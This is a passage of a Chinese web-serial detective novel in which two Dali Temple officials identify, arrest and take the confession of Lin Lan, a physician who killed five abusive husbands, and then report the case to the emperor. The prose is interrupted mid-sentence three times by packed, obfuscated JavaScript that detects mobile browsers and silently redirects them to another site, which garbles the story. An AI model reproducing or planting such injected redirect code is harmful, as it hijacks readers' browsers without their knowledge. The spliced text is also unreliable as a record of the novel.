“张家一案,本官会上报蔡少卿重新调查,还你家清白,你搜集的证据我今日下午已经交过去了,现在只等你一纸诉状。” 郑观澜将纸笔放在桌前:“自己过来写吧。” 夙愿得偿…… 张思华却之觉得不敢置信,一步一步向前踏着,脚下软软的,像是踩在云朵中。 是梦吧? “梁王,那件事情有梁王在。我爹就是被柳济源算计给梁王背黑锅的。”他猛地顿住脚步,“梁王是皇亲国戚,能行吗?” “能行。”闻蝉回答他。 张思华摇摇头:“不,不行的。我听人说过,你的父母是被李家害死的,可是皇帝宁愿封你做官都不会动李家。” “那你就更应该信我。”闻蝉把笔拿起递给他,“我们都是一样的人,不是吗?” 一句话,将张思华的心防彻底打破。 他颤着手接过笔,将这些年来那些在心内口中反复嗟磨千遍的话写在纸上。 他写的很快,不过半刻就放下了笔。 闻蝉拿起看了看,见没有什么错漏就递给郑观澜收着。 “你现在可以走了。” 张思华却没有动。 “还有何事?” “闻录事为何如此确定我和柳济源他们的死没有关系?” 闻蝉也不隐瞒。 “几人是头顶钉入铁钉而死,可见几人都十分信任凶手,你是张家人,柳济源做贼心虚,会不防着你吗?” 张思华点点头。 “原来,他们是这样死的。”他捏着衣角,顿了顿,“其实,我去平康坊是因为我姐姐的嘱托。” “你姐姐?” “是。龚夫人家的一个亲戚被潘铄所害,家里只剩下孤儿寡母。她们平日里以摆摊为生,十分可怜。姐姐嘱托我每日傍晚去她们那里,帮忙收拾摊子,顺道再做些打水劈柴的粗活重活。” 闻蝉知道他说的人是谁。 “你方才冒认罪行,是以为凶手是她?” 张思华不好意思点了点头。 “听了您刚刚的话,我才反应过来,潘铄和她有仇,定然也会防备她,凶手不会是她。” 闻蝉失笑。 “以后莫要如此了,吓吓你而已。早些回去吧,别赶不上宵禁的时辰。” “多谢大理寺为张家做主。” 张思华朝着二人行了个大礼,走到门口又停了下来。 “还有什么事吗?” “嗯……”张思华按着门,有些踌躇,“薛焕失踪那日很是奇怪。他来的时候,穿得和往常区别不算太大,可那日傍晚,我走之前正好撞见他离开。他换了一身青布衣裳,形迹鬼祟,见人就躲。就像是……怕被人瞧见似的。” …… “薛焕生在富贵窝里,吃穿用度无一不奢靡。”郑观澜在值房内踱步,“能让他如此隐藏身份之事一定非比寻常。” 闻蝉点头。 “张思华的话确实提醒了我。唐琼花和他都只和其中一人有仇,潘铄和柳济源定然是防备着他们的,他们不会是凶手。而他们的夫人也不太可能。五人都是被同一人所杀,总不能几位夫人其中一位和另外几人有私情吧?联手杀人……也不太像,不管我们外人怎么看,她们五个人都没有杀害他们的心思。” “不仅如此,我们之前所确定的凶手居住范围也不成立了。” 闻蝉趴在桌上。 “我知道。薛焕和其余几人可能都有故意隐藏踪迹。另外四人失踪的地方可能不是平康坊。” 郑观澜坐了下来。 “线索全断了。” “也不是哦。”闻蝉撑着脸,坐直,“几人最后没了踪迹的时间都是傍晚,距离宵禁开始不过一个时辰。他们失踪的地点应该就在以平康坊和青龙寺为中心路程在一个时辰内的地方。” 郑观澜伸手从旁边的书桌上拿起地图放在圆桌上展开。 地图已经被标上了不少记号。 “一个时辰走十五里路……”郑观澜拿起笔在地图上画了两个极大的圆,一个以青龙寺为中心,一个以平康坊为中心,“两个圆重合的地方就是他们失踪的地方?” 闻蝉点点头:“也是凶手住的地方。” 找到了范围,二人并没有轻松,反而更加沉重。 无他,只因这范围太大了。 “安仁坊。长兴坊、永宁、宣平……这得有二十多个坊吧?” “二十一个。”郑观澜补充道,“共一万三千户左右。” 闻蝉眼睛一翻。 “这得排查到什么时候去了!” “总不会就只有我们二人做事吧?”郑观澜反而静下来了,“按家按户查过去,有些没有关联的人家就可以先排除。” “你有钱吗?”闻蝉伸出手,手心朝上。 “嗯?” “这么大规模还细致的排查,光靠大理寺和京兆府可不够,还得每个坊的坊正去做才行,这些人手下的喽啰们没钱可是不办事的。” 郑观澜很是大方,直接把自己整个钱袋子放在她手上。 “够吗?” 闻蝉把钱袋子打开,数了数,算上里面的金豆子和银票,大概有二百多两。 她挑出一张一百两的银票放在桌上。 “一百多就够了。” “抠抠搜搜。”郑观澜忍不住说道。 闻蝉阴阳怪气:“我一个光棍,一个月就六两银子,没好爹好娘好祖宗,自然要抠搜些。” “也是我大度,这话你去和别的上官说定然要记你一笔。” “我在你那儿也不差这一笔两笔了。” “陛下不是还赏了你不少银钱吗?” “你惦记我的钱?!”闻蝉下意识捂住瘪瘪的钱袋子。 “你那点私房还没成生多。我惦记你的?” “那可说不定。”闻蝉煞有介事,“你们就是一点点油水可都不放过才能是世家啊~” 郑观澜摊开手:“把钱还来。” “没门!”闻蝉直接把钱袋子揣怀里,“你是主管案子的人,这钱就该你出。” “你是下级,我让你一个人慢慢排查也不是不行。” “我可以生病,生个大病,不能验尸那种。”闻蝉得意挑眉,“到时候,就等着寺卿他们来找你喝茶。” 大理寺上下就闻蝉一个仵作,离了她还真不转了。 郑观澜哑然。 “小郑啊~”闻蝉翘起腿,“快去给我倒茶。” 郑观澜坐在原地不动:“茶叶是我从家中拿来的,很贵。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900007|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我还不稀得喝你家的茶水呢。”纸笔被她扔到郑观澜面前。“我说你写。” 郑观澜拿起笔。 “你这脾气真的得改。” “你是我爹?你管那么多,我就这样,快写!” “你还没说写什么。”郑观澜叹气。 “咳咳。第一,家中有铡刀或长刀之人。第二,屠夫、刽子手、厨子、仵作、大夫。第三,时常外出在坊于坊之间穿梭之人。” 郑观澜放下笔,抬起头,正看见闻蝉拿着自己的茶盏喝着。 “你!你怎么用我的茶盏?” “你又没用过,就是要喝。”闻蝉一口气喝了个精光,还嫌弃撇撇嘴,“真难喝,你们有钱人的钱就是好赚。” 郑观澜脸急得通红。 “厚脸皮!” 得逞的闻蝉此刻才不计较这些,拿起纸张扬了扬。 “走了!” …… 七日后。 二人才把筛选出的嫌疑犯名单筛选出来。 符合几个条件的人,足足有一百多个。 闻蝉顶着黑眼圈笑眯眯的。 “接下来再查查这些人和死者他们有没有关联就能完事儿了!” 郑观澜的背微微弓着。 “就……” 这几日就没怎么合过眼,他到现在眼睛都是疼的! “你之前说你找一朋友打听消息,那朋友呢?” “他前几日在外地,应该快回来了。” “汪儿!!” 大黄耳急促叫了起来。 “谁啊?”闻蝉推开窗户。 只见一个肤色极白的郎君僵硬地贴着院门,大黄耳正冲着他叫。 “闻录事!救命啊!” “何……七郎?” 来者正是何素。 闻蝉立即叫住大黄耳:“是认识的人,大黄耳!你让路,别把别人吓着了。” 大黄耳立即闪到一边坐着,大眼睛眨巴眨巴,仿佛方才那个吼人的恶犬不是它一般。 何素啧啧称奇。 “真听话啊……” 他瞅了几眼大黄耳才走了进来。 “郑六!” 郑观澜指着对面。 “自己坐。” “你怎么越发冷淡了。”何素这才看清了郑观澜萎靡的模样,惊了一下,“哟,你这几晚是都没睡吗?盼我盼成这样的?” 闻蝉说道:“他盼着凶手,这个名头你就别领了。” 何素哈哈一笑。 “我还没见过你这样呢。” “我让人给你带的信收到了没?” “收到了收到了!”何素自顾自提起水壶,准备给自己斟上一盏茶。 “等等。”郑观澜把茶盏推开,“用另外一个。” 茶壶的水一下倒在桌上,何素眼疾手快,立即拿起旁边一个空茶盏接住。 “你又怎么了?吓我一跳!” 这么久不见,这个郑六郎真是越发古怪了。 “也不知日后谁家小娘子受得了你这个臭脾气。” 闻蝉连连点头。 郑观澜把茶盏推到桌子角落。 “说事。” 何素喝下一口茶才说道:“我一收到你的信就往回赶了,你知是为何吗?” “你和他们都有交道。” “非也非也!”何素摆摆手,“我和潘铄薛焕是认识,可其他人我不熟悉,但是嘛……就在收到你的信时,我那些友人给我说了个事儿。这事儿保准你感兴趣!” 这样卖关子,别说郑观澜,闻蝉更急。 “你快说吧,何郎君。” 何素压低了声音:“他们……都有隐疾。” 44. 隐疾之患 二人齐齐一愣。 何素急忙解释道:“我可不是当着小娘子面耍流氓啊!我说的都是真的!” 给他八百个熊胆,他也不敢耍闻蝉这种人的流氓啊!更何况郑六还在。 闻蝉问道:“这话你听谁说的?” “他们都这样说啊。先是有人说碰见潘铄去药堂买壮阳药,接着又有人说薛焕还去找胡人买过壮阳药。七嘴八舌的,我一听完,就发现怎么这五个人都有这毛病啊!其实也不奇怪吧?他们几人除了司马岳和柳济源,连个孩子都没有,还都是成亲多少年的人了。就连司马岳和柳济源家里也就两三个孩子吧?肯定有问题!” 一个念头忽然冒了出来,闻蝉不由抓住了郑观澜的袖子。 郑观澜看了过去。 何素还继续说着:“你们这案子有这么麻烦吗?我一看就知道凶手是谁!” 闻蝉手一松。 “你觉得是谁?” 何素摸了摸下巴。 “定然是他们的夫人!” 没想到对方会说出这个答案。 闻蝉说道:“外头都说他们夫妻情深,怎么就你的说法不一样?” “嗐,那些话偏偏涉世不深的小娘子也就罢了,谁信啊?”何素挥了挥袖子,“你们俩不会没去查吧?” “查过了。” 何素盯着闻蝉,舌头都有些打结:“你信啊?” “我也不信。” “我就说嘛!”何素拍了一下桌子,“这几口子,别说夫妻情深,还不如我爹娘相敬如宾呢!就说那个司马岳,谁家不要脸到那个样子,成亲还没一年呢就要纳别人妹妹做妾?就是仇人都干不出这种事来。我要是王夫人早就想弄死他了,还夫妻情深?” 他看着面前的二人,脑子一抽,忽然说道:“就是你们俩成亲都闹不出这么不体面的事。” “何素!”郑观澜吼道。 何素拍了一下自己的嘴,忙不迭作揖:“我这人嘴快。闻录事可千万别放在心上。” 闻蝉不在意挥挥手。 “你说的也有道理。” 何素见她不计较才放下心。 倒是郑观澜瞪了他好几眼。 弄得何素坐立难安。 他喝口茶,站起身。 “那……这消息我带到,这家里还有点儿事……我就先走了啊?” 闻蝉客气道:“劳烦你跑一趟。” “没事没事……”何素一边说一边退,像是有老虎撵着他似的。 人一走,闻蝉就说起了郑观澜。 “还说我脾气不好,我看你脾气才是更不好,别人顺口开个玩笑,我都不介意,你介意什么。多好的朋友啊,为了你问了个事,大老远跑回来。” 郑观澜没有回嘴,扭过头。 “你也觉得他说的对?” “当然不,我又不傻。”闻蝉坐了下来,“这五人没有一个有作案的能力。但是嘛……” 话音逐渐消失。 “但是什么?”郑观澜追问。 “你把名单给我再看看。” 郑观澜递给她:“你怀疑上谁了?” “这人你认识……”手指在名单上的一一划过,停在一个名字上,“她。” 郑观澜一看那名字就懵了。 “不认识。” 闻蝉都气笑了。 “就是给你娘治病那个姓林的女大夫,我们在开明坊遇见过她!” “她?她是个女子,有那么大的……”郑观澜看着眼前人,默默闭上嘴。 是有那么大力气的。 “怎么查她?” “第一,几人失踪前后,林兰的行踪,尤其要问金吾卫。第二,我们亲自去一趟悲田坊。第三……如果确定,就要搜查她的家中。” …… 闻蝉拿着手里发黄的名册叹了一口气。 “那边查得如何了?” “如你所言,在五人失踪的那几个晚上,林兰都以给人看诊为由驾着马车出门,所去的地方也和抛尸地一一吻合。” “抓人吧。” …… 夜色中,大理寺的人悄无声息包围了一座平凡的小院。 小院外,放着一辆破旧的马车。 闻蝉把大黄耳抱起放入车内。 “你闻一闻有没有尸体的味道,小声叫。” 大黄耳拱进马车,在车里打了几个转儿。 “汪儿……” 叫声很小,但是足够说明问题。 “马车也带走。”闻蝉把狗抱下来。 “确定了吧?我直接破门?”卓啸抱着双臂,就靠在院门前。 “动作要快,直接进去先把人拿下。” “真是小心,不过是个女大夫。”卓啸嘴上这样说,下脚的力度可比谁都大。 一脚高高提起踢向门锁。 门锁瞬间崩开,两扇门板啪的一下打开。 “拿人!” 差役们分成两队,一队跟着他直奔房门,一对直接冲向窗户。 门窗齐开,不过瞬息,就没了动静。 “好了!人拿下了!进来吧。”卓啸朝着外面说道。 二人这才进去。 一进门,只见还穿着寝衣的林兰被卓啸双手反剪,死死按在地上,一头黑发洒落一地。 闻蝉看了一眼屋内。 屋内很是朴素,和她自己家有几分相似,但是收拾得整齐干净,窗边还放了一盆粉白的铃兰花,花朵吊在细细的花枝上,像一串串小铃铛,摇曳着。 传言中,铃兰能守护人免受疾病灾难的困厄。 她走近那盆铃兰,鼻子有些发痒。 嫩绿的叶片底部已经弥漫上黄黑的衰败颜色。 铃兰的旁边立着衣架。 她拿起上面的外裳披在林兰身上。 林兰缓缓抬起头,看着她,扬起一个笑。 “果然是你,闻录事。” “松开她吧。” 卓啸松开手。 林兰也没有太大的动作,只是慢慢把外裳穿上。 “你很清楚,我为何而来。” “自然。”林兰站起身,神态自若,仿佛身侧只有闻蝉一人,她走到窗前,套上鞋子,语气轻松得像是和往常一般要去帮人看诊似的。“走吧。” …… 昏暗的监牢中忽然照进一道光。 林兰睁开了眼。 闻蝉拿着烛台站在她的面前。 二人之间隔着一道牢门。 “把人带过来。”闻蝉转身,向着刑房走去。 两个差役上前打开门,将林兰带着跟上去。 刑房内,郑观澜已经备好纸笔坐在一侧。 闻蝉朝他点点头,径 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903472|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直走向正中间的位置坐下。 差役将人带进自己就离开了,顺道还关上了门。 整座刑房十分昏暗,只有闻蝉背后的墙上最高处有一个脑袋那么大的窗口,明亮的光从狭窄的口子挤进,正好只照在林兰的脸上。 “据金吾卫所言,四月二十一晚你声称要去醴泉坊给人瞧病,在宵禁后架着马车进入了醴泉坊,可是如此?” “是。闻录事可以去问,那两晚,我去了钱家,看护他家二夫人,事后,因为已经太晚,就在醴泉坊一所客栈中安置了。” “你谋划许久,自然安排得周全。二十二晚是去了怀远坊,说有个病人发了高热。二十三晚你去了开明坊,说是要替一个发高热的孩子瞧病,二十四晚又去了升平坊,说是有个老人心疾发作,二十五晚又是钱夫人……林大夫,你可真忙啊。” 林兰笑盈盈的。 “确实很忙,不过也很正常,我的病人很多,几乎日日有这样的事。怎么?这些事我都有报备过,难道有什么问题吗?” “自然没有问题,就是因为你是个大夫,在此之前就常常因为看诊需要宵禁后出行,金吾卫压根就没有怀疑上你。” “怀疑我什么?”林兰歪着头,“难道我做了什么违反律法的事情吗?” 闻蝉说道:“你常年和龚悠等人打交道,自然也和她们的夫君,本案的五名死者熟悉。你借替五人治疗隐疾为由,将五人诱骗至家中,趁他们毫无戒备时,将钉子钉入他们的脑内,之后用铡刀将其分尸,清理干净再涂抹上防腐香料。最后,借夜间出诊的机会,将尸块藏入马车,分次抛下。” 林兰听完这话,眉尾微微挑起。 “原来是这桩案子?闻录事说得精彩,却有一大错处。” “哦?哪里错了?” “这五人并没有隐疾,他们能够生育,不能生育的是他们的夫人。” 闻蝉依旧老神在在。 “你是大夫,很容易让他们自认为自己有病。” “那是推测。”林兰嘴角一弯,“这可不能作数的。” “那这些你怎么解释?”闻蝉撩起手边的一块布,露出下面一个木盘。 盘子上放着几个尸块。 隐约能看出是人的眼睛、舌头、耳朵、鼻子和嘴唇。 “这可都是在你的院内找到的。” 林兰眼睛都不眨一下。 “在我院内又如何?或许是凶手栽赃嫁祸呢。” “还有灶台里残存薛焕的簪子玉佩,现在正在清洗,等会儿就能拿给你看。” 林兰沉默了。 闻蝉继续说道:“香料。那些香料不算多见,我已经找了人去查,最快明早就能有消息。” “你养的那只狗儿确实很厉害。”林兰仰起头,看向上面的窗口,窗外正飞过一个小小的黑点,“接下来,我该怎么狡辩呢。” “你为何要杀害他们几人。” “闻录事都查到我头上了,难道还不猜不出缘由吗?” 林兰低下头,白光被她的头顶遮住,清秀的脸隐没在黑暗之中。 “你明明什么都查到了,我的过去白纸黑字一一记录在册,还要问什么呢?” “有些话,我想亲口听你说。” 林兰沉默了许久,终于开口。 “你是怎么想到凶手是我的?我自认我做的天衣无缝。” 45. 囚心 “来源于少见医术的五行符号。”闻蝉指了指郑观澜,“他读的书不少,可都不知道你所留下的五行符号的意思。可见能够知道这个符号的人定然是懂得医术之人,再结合你杀人分尸的手法,凶手是大夫的可能性很大。从那时我就怀疑上你了,只是我没找到你的作案动机以及作案能力。直到两件事的发生。” “那两件?” “第一件是张思华。栽赃张思华的手段十分低劣,说是栽赃,不如说是想要让我们看到张家的案子,为张家平反,由此可见,凶手对张家,对张夫人是带着善意的。第二件则是一个消息。就是这个消息填补了所有缺失的部分——五名死者都在医治隐疾。学武的人有基本的戒心,可是对给自己治病的大夫却不会有。比如那日你给我推拿脖颈,我很安心闭上了眼,如同潘铄等人死前一般。我猜想,你应该是说要给他们针灸头部,所以才有了可以将钉子钉入其头顶的机会吧。” 闻蝉继续说道:“两相结合,和五名死者的都有关系的大夫,我只能想到你了。至于动机,那日在开明坊遇见你,僧人的态度和称呼实在是太过亲切,仿佛你就是那里的人一般。五位夫人又恰巧一直在施舍悲田坊……” 林兰挺直了脊背。 “是,我就是在悲田坊长大的。” 她的双眼映着外面的一片光,看上去很亮很亮。 “我从小就没有爹娘,是最早到悲田坊的人。那个时候,悲田坊刚刚开办,朝廷初定,根本没有额外的钱来拨给我们。但是靠着寺庙的僧人,我们至少还饿不死。直到我五岁那年,悲田坊的人忽然一个接一个的病死。人人都以为是瘟疫,朝廷将我们迁出京城,准备将我们烧死……是王姨救了我们!那个时候她还没有出嫁,奉命来放火的人就是司马岳。是王姨苦苦哀求司马岳,他才多给了我们七日的时间。之后她又叫来了赵老板为我们诊脉,才发现我们得的只是普通的病症,并非瘟疫……” “赵老板?是龚悠的表哥。” “是。从那以后,我们悲田坊就过上了好日子,王姨她们时常给我们带来吃喝,还找人教我们读书识字,让我们以后有安身立命的本事。”林兰眼里的光一点点暗了下去,“赵老板一家和王姨她们都是我的恩人,为了报恩,这个动机足够了吧?” 闻蝉嘴唇轻抿。 “我明白你的愤恨。可你曾想过?按照如今的世道,这五人突然死去,王夫人她们亦会过得困苦?况且她们也是有感情的。” 虽然不理解这种情况下这几对夫妻的感情,但她能感觉得到,王夫人几人对她们的夫君是有爱在的。 林兰蓦地大喊。 “症结就在于此了!” “症结?” “你见过她们吧?” “自然见过。” “你觉得她们是什么样的人?” 闻蝉想了想:“温柔和善。” “是很标准的贵妇,对吧?” 闻蝉点点头:“是。” “可你知道吗?她们本应是你我这样的人!”林兰的目光停滞在闻蝉的脸上,“第一次见面,我就很喜欢你,因为我感觉得到你我是一样的人。我们的心是自己的,没有被蒙蔽,被囚禁。” 她身子晃了晃:“你知道我为何当了大夫吗?” “我想要治她们的病。” “你是说……心病。” “没错,困于不值得的情爱之中,害得自己郁郁寡欢,不是病吗?”林兰咬着后槽牙,带着愤恨的控诉从唇缝中挤出来,“你是不知道他们有多畜牲!” “司马岳只要和王姨闹一点点矛盾,就借机去找女人,还自诩情深,说自己找的都是王姨的替身,他爱的只有王姨一人?甚至把王姨的亲妹妹都拉下了水!王有兰本来是有相爱之人的,却因为他一时兴起被毁了好姻缘!这样的话,王姨也相信!她是真的信司马岳爱她!可我冷眼看着,司马岳待她尚且不如待其他的妾室温和尊重!” “还有潘铄!他性情反复无常,哪怕龚姨和一个男仆多吩咐两句话,他都要辱骂龚姨,言辞极其恶毒,之后更是牵连了赵家全家,害得龚姨日日愧疚抑郁!可他说这是吃醋,是爱她才会如此!龚姨也信。” “柳济源……这个你们最清楚。这个猪狗不如的东西!明明就是他为了自己的前程才娶了梁王的女儿,可他却说他是为了给张姨挣诰命!若非梁王女儿身边的嬷嬷是个心软的人,次次私下留情,张姨早就被打死了!他杀害了梁王之女后,又告诉张姨,他是为了张姨才杀了她。谁都知道,他只是为了和已经失势的梁王割席,免得日后被牵连!张姨心善,把所有错都揽在自己身上,觉得是自己害死了她,对柳济源这个畜牲的话深信不疑!” 林兰用力喘了两口气。 “冯鄂……他自己不知道发什么疯,文姨和他准备定下婚约的时他突然反悔,别人没有计较又寻了门正经亲事,可他又故意坏了文姨的名声,害得文姨只能退婚嫁给他。他说这是爱,他爱他……” “薛焕……” 这个名字刚刚念出,郑观澜手下的笔就一抖。一滴墨落在了纸上。 林兰看着他:“郑郎君应当知晓了吧?可你们知道的只是冰山一角,我知道的更多!” 郑观澜抬起头,看着她,放下了笔。 “自从发现任姨和公主长得相似之后,薛焕就各种柔情蜜意,哄着任姨穿公主常穿的衣裳,吃公主爱吃的东西,做公主爱做的事。任姨发现后,他却说自己爱的是她,公主只是过去的人……很多时候,我都在想,她们到底是真信了还是迫于无奈,不得不信。”林兰畅快一笑,“无所谓了,现在他们都死了。” “你认为,只要他们死了,王夫人她们的病就会好。” “难道不是吗?我是大夫,她们的身子我清楚得很。龚姨时常被潘铄殴打,文姨的身子最差,再这样下去或许连五年都撑不过,其余的也是肝气郁结有早亡之象。”林兰一字一句道,“我,是在给她们治病。” 供词落下最后一个字。 郑观澜说道:“过来画押。” 林兰一步步走过去,什么都没有再说,在供词末尾签下自己名字,字迹潇洒飘逸,毫不拖泥带水。 她放下笔,没有看供词一眼,反而看向了闻蝉。 “闻录事。” “我帮不了你太多。” 林兰眉眼一弯,一双鹿眼满是狡黠。 “我给你说个事儿,你附耳过来。” 面前之人,到底是个连杀五人眼睛都不眨一下的凶犯。 郑观澜出手阻拦:“有什么话直说便是。” “无碍。”闻蝉走了过去,站在她的身侧。 林兰个子要矮一点,踮起脚在她耳边说了几句。 闻蝉没有太过诧异。 “原来如此,我明白了。” 林兰笑着点点头:“心愿已了,你该让人带我走了。” 闻蝉心情很复杂,她想要说什么,却又觉得说什么好像都没有用,最终,她按了按她的肩膀:“来人!” 两名差役推门而入。 “属下在!” “原路带回。” “是!” 林兰没有被戴上枷锁,差役还是如同之前一般,带着她出了门向右边监牢的深处走去。 “我们也该走了。”闻蝉帮着郑观澜收拾笔墨。 “这样的案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907486|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子多吗?”郑观澜仰着头看她。 “多,很多。” “王……” 闻蝉打断他:“御史台他们定会争这案子,等会儿我和寺卿要一起进宫,你也一起。” 郑观澜不知她为何如此,但也没再追问。 二人走出刑房。 耳边隐隐约约传来啜泣之声。 郑观澜很是疑惑。 “什么声音?” 闻蝉摆摆手,走到右手边的刑房,把门推开。 只见屋内正站着王有竹等人。 郑观澜眼睛都瞪大了。 “你把人叫来的?” 闻蝉点点头,对着五人说道:“几位夫人方才都听到了吧?” 王有竹颔首:“我们没想到……这孩子竟然会……都怨我们,自己担不起事儿,还连累了她。” 任蓓喃喃道:“她说的没错,我们是病了,明明我们知道,却还是麻痹自己。” 她抚上自己的心口。 那里面空荡荡的。 “事情已经发生,无法转圜。几位若真愧疚,就好好想想她的话,莫要让她失望。” 闻蝉说完出了刑房,看向监牢深处。 那里黑洞洞的,看不到底,是方才林兰走过的路。 “我能做的,只有这些了。” …… 值房内。 闻蝉正在整理此案的卷宗,大黄耳趴在她的脚下,很是乖巧。 她放下卷宗,揉了一把狗耳朵。 “怎么不出去玩儿呢?” 大黄耳呜咽了几声,还摇了摇头,耳朵一甩一甩的。 “我没事,没有心情不好,只是有点累。”闻蝉摸了摸它的头顶,“快去吧,自己玩儿去。” 大黄耳这才撒着欢儿出了院子。 闻蝉靠在椅背上,合上眼休息。 不知过了多久,一股清冽微甜的气味将她唤醒。 这个味道……一般是加在墨中的龙脑香,很贵,也就郑观澜爱用。 闻蝉睁开眼:“你回来了。” 郑观澜正站在窗外。 “嗯,很累?” “不累啊。她们怎么样?” “还好。”郑观澜侧身,“你其实早就知道林兰的动机了,所以才把人都叫了过来?” 闻蝉回答得干脆:“是啊!” 郑观澜张了张嘴。 “感觉你心里明白很多事。” 闻蝉笑眯眯的:“你应该直接夸我聪明过人。” “包括王大郎的案子,是吧?那个指使人你其实已经猜到了,就像是今日一般,只是没有说出口而已。” “你可别给我乱扣帽子!王子迁父母被杀确实是指使人为了灭口,可是这手段做得干净利落,我是真没看出一点点线索。” 郑观澜是不信这话的。 但对方的心思有多深,他根本就摸不到底。 比如……对方在李成芳一事上的反常之举。 算了。 “希望你不要忘记我们的交易。” “你还好意思说!”闻蝉把卷宗砸他怀里,“说好帮我整理文书,结果跑去送自己表姐,就把活儿扔我头上啦!” 郑观澜揉了揉钝痛的胸口。 这人到底是吃什么长大的! “提醒你,不是要进宫回报此案吧?” “你不去?” 郑观澜拍了拍卷宗:“我得重新誊写一边,这歪七扭八的字,直接呈上去,和御前失仪区别不大。” 闻蝉气得腾的一下站起来,指着背影就开骂。 “你写得好你慢慢写!你一辈子就写文书!” 46. 余香悠长 紫宸殿。 郑观澜还是被拽着来了。 他和闻蝉蔡真站在殿中回话。 “凶手已经认罪,此案大致情况就是如此。”闻蝉说完垂手退了一步,低着头等着皇帝的回应。 皇帝的面色并不好看。 并非只因为这案子,而是这案子的死者之一——薛焕。 闻蝉把薛焕恋慕广平公主的事情一并都写了上去。 自己的闺女被这样一个人觊觎…… 皇帝只觉得恶心坏了,端起茶喝了一口顺了顺气。 得亏这玩意儿死了! “不管是何缘由,杀害朝廷命官是重罪。” 闻蝉屏住了呼吸,鼻尖渗出一滴汗来。 皇帝忽的叹了口气。 “抓到了就好,这案子闹得京城沸沸扬扬,人人自危,如今解决了就是好事。恒定,也不必过于麻烦,将那凶犯就在大理寺处决了,赐她毒酒吧。” 蔡真皱眉。 “陛下,大理寺并无处决犯人之权,按规矩应当送往御史台或刑部……” 皇帝抬起手打断了他。 “朕决定还不够?” 闻蝉故意瘸着腿上前一步。 “陛下,臣附议。大理寺所审判的案子本就该由刑部复审。此案在京城早已引起轩然大波,若由大理寺独断,百姓只会以为是我们随意抓了人来顶罪。” 皇帝见她的腿还不便利,心里有些发虚,况她这话确有几分道理。 他不是不明白,只是不想薛焕觊觎自己女儿的事情被宣扬出去。 这一点,闻蝉也猜到了,她继续说道:“不过,虽该由刑部复核,但此案牵扯官员家中私事,尤其是司马将军,那些话传出去实在不好听。不如单独交给刑部的霍侍郎来复核?” 霍侍郎是霍其彰的亲大哥。 皇帝内心动摇了,点了点桌子。 这个霍侍郎……嘴巴比什么都严,也有脑子。 “不错……那就交给霍卿去办吧。” 闻蝉暗自松了口气:“陛下圣明。” “这次的案子是闻录事办的?” 闻蝉谦虚道:“臣只是牵个头,大理寺以及京兆府还有京城内的衙役们都有出力,若非他们夙夜辛劳,也无法如此快找全死者尸首,找出凶手。” “京兆府?”皇帝顿了顿,“哦,是朕家的十六?” 他显然十分喜欢颜青,一说到颜青,脸都笑开了花。 “都该赏。当然,闻录事得着重赏。”他看向一旁的郑观澜,“郑六郎也出力不少,信安把你教得很好。” 郑观澜拱手道:“陛下谬赞了。” “王安得。”皇帝吩咐身旁的大太监,“按照规矩赏赐这次所有参与办案之人。” “奴婢遵旨。” 皇帝清了清嗓子。 “这次的案子说出去到底不体面。”他是看不惯这几人的所作所为,“卷宗是一回事,对外就不要说得太清楚,只要让百姓知晓凶手已经落网即可。” 蔡真也不愿在这些事上较劲儿。 “臣明白。” 正事说完,皇帝随口问道:“郑六郎刚到大理寺不久,便遇到这种大案,可还习惯?” “有闻录事帮忙,臣受益匪浅。” 闻蝉忍不住咧了咧嘴。 这货吃错药了吧! 皇帝自然是没瞧见她的表情,还乐呵呵的。 “看来你们相处得不错。” 这下连蔡真都有点绷不住了,头埋得更低了。 皇帝哪里知道这些小事,又问了几句就让几人下去了。 一出宫门口,闻蝉就一拳锤在郑观澜肩膀上。 “你还挺仗义啊!” 郑观澜捂着肩膀。 “你若真觉得我仗义,会把赏赐分给我一半吗?” 闻蝉立即变脸。 “你这人真不咋地。” …… 轰动京城的谋杀案,最终以仇杀二字为结束。 林兰被移交刑部,一切都归于平静。 大理寺却因这个案子热闹了起来。 皇帝身边的大太监就是不一样,不过三日的功夫就把赏赐发到了每个人手里。 东西不算少,布匹、银钱、酒、盐还有些米面。 面子里子都有了。 大伙都很高兴。 原本都以为这案子会被郑观澜这个来熬资历的世家子给抢了功劳。 没想到头功还是闻蝉的,就连他们也得了好处。 “阿蝉!”小梁鬼鬼祟祟躲在柱子后朝她招手。 闻蝉走了过去。 “你干嘛?” 小梁脸有点红。 “我们说要出去喝酒庆祝庆祝,你一起吗?” 闻蝉觉得这问题有些好笑。 “我哪次没去?” 小梁“嘿嘿”了两声,眼珠子左右转着。 闻蝉一下明白了过来。 “你是想问郑观澜去不去?” 小梁挠了挠头。 “郎狱丞说他和郑评事不熟,让我来问……” 